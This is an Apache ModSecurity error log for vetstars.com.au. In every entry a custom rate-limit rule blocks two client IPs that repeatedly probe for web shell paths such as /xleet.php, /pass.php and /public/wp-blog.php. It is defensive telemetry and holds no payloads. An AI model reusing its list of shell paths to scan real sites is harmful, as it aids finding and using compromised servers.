[Sat Feb 28 06:07:37.651097 2026] [:error] [pid 39292:tid 39295] [client 20.63.83.113:56626] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aaIVqaIAO5fN7BxyqcFRsgAAAME"]
[Sat Feb 28 06:07:38.061408 2026] [:error] [pid 39292:tid 39316] [client 20.63.83.113:1424] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aaIVqqIAO5fN7BxyqcFRtAAAANY"]
[Sat Feb 28 06:07:38.470637 2026] [:error] [pid 39292:tid 39318] [client 20.63.83.113:49661] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaIVqqIAO5fN7BxyqcFRtwAAANg"]
[Sat Feb 28 06:07:38.896872 2026] [:error] [pid 11791:tid 11793] [client 20.63.83.113:35738] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaIVqmuX5e1Q32gqxH2eCQAAAQA"]
[Sat Feb 28 06:07:39.315987 2026] [:error] [pid 22194:tid 22205] [client 20.63.83.113:56591] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaIVq36mbajs3bzQGyvyoAAAAUk"]
[Sat Feb 28 06:07:39.731294 2026] [:error] [pid 39185:tid 39259] [client 20.63.83.113:22614] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaIVqxVE-FfM89u7BQZG4wAAAI0"]
[Sat Feb 28 06:31:28.205779 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:28128] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaIbQKIAO5fN7BxyqcFpGAAAAM0"]
[Sat Feb 28 06:31:30.554071 2026] [:error] [pid 39184:tid 39225] [client 158.158.96.194:26573] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaIbQltZF9Zd_U7easA7vgAAAEY"]
[Sat Feb 28 06:31:32.365866 2026] [:error] [pid 11791:tid 11798] [client 158.158.96.194:33984] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaIbRGuX5e1Q32gqxH2qjgAAAQU"]
[Sat Feb 28 06:31:34.289644 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:25472] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaIbRqIAO5fN7BxyqcFpQgAAANY"]
[Sat Feb 28 06:31:36.098467 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:24565] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaIbSKIAO5fN7BxyqcFpUgAAANg"]
[Sat Feb 28 06:31:36.845165 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:15372] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaIbSGuX5e1Q32gqxH2qmAAAARc"]
[Sat Feb 28 06:31:39.945307 2026] [:error] [pid 22194:tid 22212] [client 158.158.96.194:36147] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaIbS36mbajs3bzQGysCfwAAAVA"]
[Sat Feb 28 06:31:45.445520 2026] [:error] [pid 22194:tid 22211] [client 158.158.96.194:22006] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaIbUX6mbajs3bzQGysCgwAAAU8"]
[Sat Feb 28 06:31:53.255333 2026] [:error] [pid 39184:tid 39222] [client 158.158.96.194:29806] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/snq.php"] [unique_id "aaIbWVtZF9Zd_U7easA70AAAAEM"]
[Sat Feb 28 06:32:04.257119 2026] [:error] [pid 39292:tid 39294] [client 158.158.96.194:1092] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaIbZKIAO5fN7BxyqcFpsgAAAMA"]
[Sat Feb 28 06:32:06.454447 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:19212] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaIbZhVE-FfM89u7BQZQGQAAAII"]
[Sat Feb 28 06:32:09.191958 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:22847] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaIbaaIAO5fN7BxyqcFpvwAAAM0"]
[Sat Feb 28 06:32:12.777298 2026] [:error] [pid 39185:tid 39259] [client 158.158.96.194:19253] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mcs.php"] [unique_id "aaIbbBVE-FfM89u7BQZQHAAAAI0"]
[Sat Feb 28 06:32:14.710866 2026] [:error] [pid 22194:tid 22199] [client 158.158.96.194:1091] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIbbn6mbajs3bzQGysCwQAAAUM"]
[Sat Feb 28 06:32:20.541560 2026] [:error] [pid 39184:tid 39236] [client 158.158.96.194:29412] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIbdFtZF9Zd_U7easA72AAAAFE"]
[Sat Feb 28 06:32:22.846759 2026] [:error] [pid 39292:tid 39299] [client 158.158.96.194:36038] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIbdqIAO5fN7BxyqcFqHQAAAMU"]
[Sat Feb 28 06:32:25.094999 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:8451] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aaIbeWuX5e1Q32gqxH2rHgAAAQ8"]
[Sat Feb 28 06:32:25.969149 2026] [:error] [pid 11791:tid 11796] [client 158.158.96.194:43266] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaIbeWuX5e1Q32gqxH2rJwAAAQM"]
[Sat Feb 28 06:32:32.252915 2026] [:error] [pid 39292:tid 39309] [client 158.158.96.194:1731] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaIbgKIAO5fN7BxyqcFqTQAAAM8"]
[Sat Feb 28 06:32:34.181820 2026] [:error] [pid 39185:tid 39246] [client 158.158.96.194:1324] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaIbghVE-FfM89u7BQZQLgAAAIA"]
[Sat Feb 28 06:32:36.181703 2026] [:error] [pid 39184:tid 39239] [client 158.158.96.194:1307] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaIbhFtZF9Zd_U7easA75AAAAFQ"]
[Sat Feb 28 06:32:38.031765 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:32446] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xleet.php"] [unique_id "aaIbhqIAO5fN7BxyqcFqdwAAAMk"]
[Sat Feb 28 06:32:38.889687 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:35733] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aaIbhn6mbajs3bzQGysC3wAAAVY"]
[Sat Feb 28 06:32:40.474741 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:65114] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aaIbiKIAO5fN7BxyqcFqjQAAANM"]
[Sat Feb 28 06:32:41.223820 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:14520] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aaIbiaIAO5fN7BxyqcFqlwAAAMk"]
[Sat Feb 28 06:32:42.868305 2026] [:error] [pid 22194:tid 22199] [client 158.158.96.194:25529] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aaIbin6mbajs3bzQGysC4AAAAUM"]
[Sat Feb 28 06:32:46.050647 2026] [:error] [pid 22194:tid 22206] [client 158.158.96.194:25526] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaIbjn6mbajs3bzQGysC-QAAAUo"]
[Sat Feb 28 06:32:47.630648 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:15924] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaIbj2uX5e1Q32gqxH2r4AAAAQI"]
[Sat Feb 28 06:32:49.616962 2026] [:error] [pid 39292:tid 39298] [client 158.158.96.194:65112] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaIbkaIAO5fN7BxyqcFrHQAAAMQ"]
[Sat Feb 28 06:32:50.621481 2026] [:error] [pid 39184:tid 39229] [client 158.158.96.194:65131] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaIbkltZF9Zd_U7easA77gAAAEo"]
[Sat Feb 28 06:32:53.180145 2026] [:error] [pid 22194:tid 22206] [client 158.158.96.194:43304] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "aaIblX6mbajs3bzQGysDBwAAAUo"]
[Sat Feb 28 06:32:54.915726 2026] [:error] [pid 39185:tid 39252] [client 158.158.96.194:17472] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "aaIblhVE-FfM89u7BQZQbAAAAIY"]
[Sat Feb 28 06:32:55.969566 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:25932] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "aaIblxVE-FfM89u7BQZQbgAAAI4"]
[Sat Feb 28 06:32:57.051781 2026] [:error] [pid 11791:tid 11793] [client 158.158.96.194:21894] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "aaIbmWuX5e1Q32gqxH2sAQAAAQA"]
[Sat Feb 28 06:32:58.249527 2026] [:error] [pid 39185:tid 39264] [client 158.158.96.194:1072] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aaIbmhVE-FfM89u7BQZQbwAAAJI"]
[Sat Feb 28 06:33:00.492868 2026] [:error] [pid 11791:tid 11810] [client 158.158.96.194:1857] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aaIbnGuX5e1Q32gqxH2sHAAAARE"]
[Sat Feb 28 06:33:02.708299 2026] [:error] [pid 39183:tid 39200] [client 158.158.96.194:48977] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aaIbnhCf4HvhVePw3LZvgAAAAAg"]
[Sat Feb 28 06:33:04.782702 2026] [:error] [pid 39183:tid 39213] [client 158.158.96.194:1062] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aaIboBCf4HvhVePw3LZvhgAAABU"]
[Sat Feb 28 06:33:06.516367 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:16310] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaIboqIAO5fN7BxyqcFrZgAAANM"]
[Sat Feb 28 06:33:07.524318 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:14100] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaIbo2uX5e1Q32gqxH2sNgAAAQ0"]
[Sat Feb 28 06:33:08.396816 2026] [:error] [pid 11791:tid 11813] [client 158.158.96.194:22489] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaIbpGuX5e1Q32gqxH2sPAAAARQ"]
[Sat Feb 28 06:33:10.924660 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:1883] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tmpls.php"] [unique_id "aaIbpn6mbajs3bzQGysDMAAAAVM"]
[Sat Feb 28 06:33:19.691638 2026] [:error] [pid 39292:tid 39315] [client 158.158.96.194:39475] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaIbr6IAO5fN7BxyqcFrtAAAANU"]
[Sat Feb 28 06:33:21.783626 2026] [:error] [pid 39292:tid 39304] [client 158.158.96.194:39082] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaIbsaIAO5fN7BxyqcFrugAAAMo"]
[Sat Feb 28 06:33:22.448650 2026] [:error] [pid 39292:tid 39315] [client 158.158.96.194:33567] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaIbsqIAO5fN7BxyqcFrvQAAANU"]
[Sat Feb 28 06:33:24.129984 2026] [:error] [pid 22194:tid 22199] [client 158.158.96.194:49862] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaIbtH6mbajs3bzQGysDQAAAAUM"]
[Sat Feb 28 06:33:25.840723 2026] [:error] [pid 11791:tid 11817] [client 158.158.96.194:34910] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaIbtWuX5e1Q32gqxH2sUAAAARg"]
[Sat Feb 28 06:33:26.994887 2026] [:error] [pid 39183:tid 39200] [client 158.158.96.194:33537] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaIbthCf4HvhVePw3LZvkQAAAAg"]
[Sat Feb 28 06:33:27.988567 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:15701] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaIbt2uX5e1Q32gqxH2sWAAAAQ8"]
[Sat Feb 28 06:33:37.339857 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:64664] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaIbwWuX5e1Q32gqxH2scQAAARc"]
